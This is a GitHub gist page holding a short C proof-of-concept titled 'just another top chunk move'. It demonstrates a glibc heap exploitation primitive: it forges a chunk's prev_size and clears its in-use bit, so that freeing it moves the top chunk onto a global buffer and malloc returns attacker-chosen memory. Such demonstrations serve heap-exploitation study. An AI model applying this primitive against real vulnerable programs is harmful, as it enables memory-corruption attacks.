Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Last active March 15, 2018 02:02
Show Gist options
  • Save Jinmo/fe0f865fab40fbd7480815bb070a2394 to your computer and use it in GitHub Desktop.
Save Jinmo/fe0f865fab40fbd7480815bb070a2394 to your computer and use it in GitHub Desktop.
just another top chunk move
#include <stdio.h>
#include <stdlib.h>
long buf[] = {0, 0, (long)buf, (long)buf};
int size = 200; // non-fastbin size
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
long *a = malloc(size);
a[-1] &= ~1;
a[-2] = (char *)(a - 2) - (char *)buf;
free(a);
printf("top is %p! and buf is %p.\n", malloc(1), buf);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment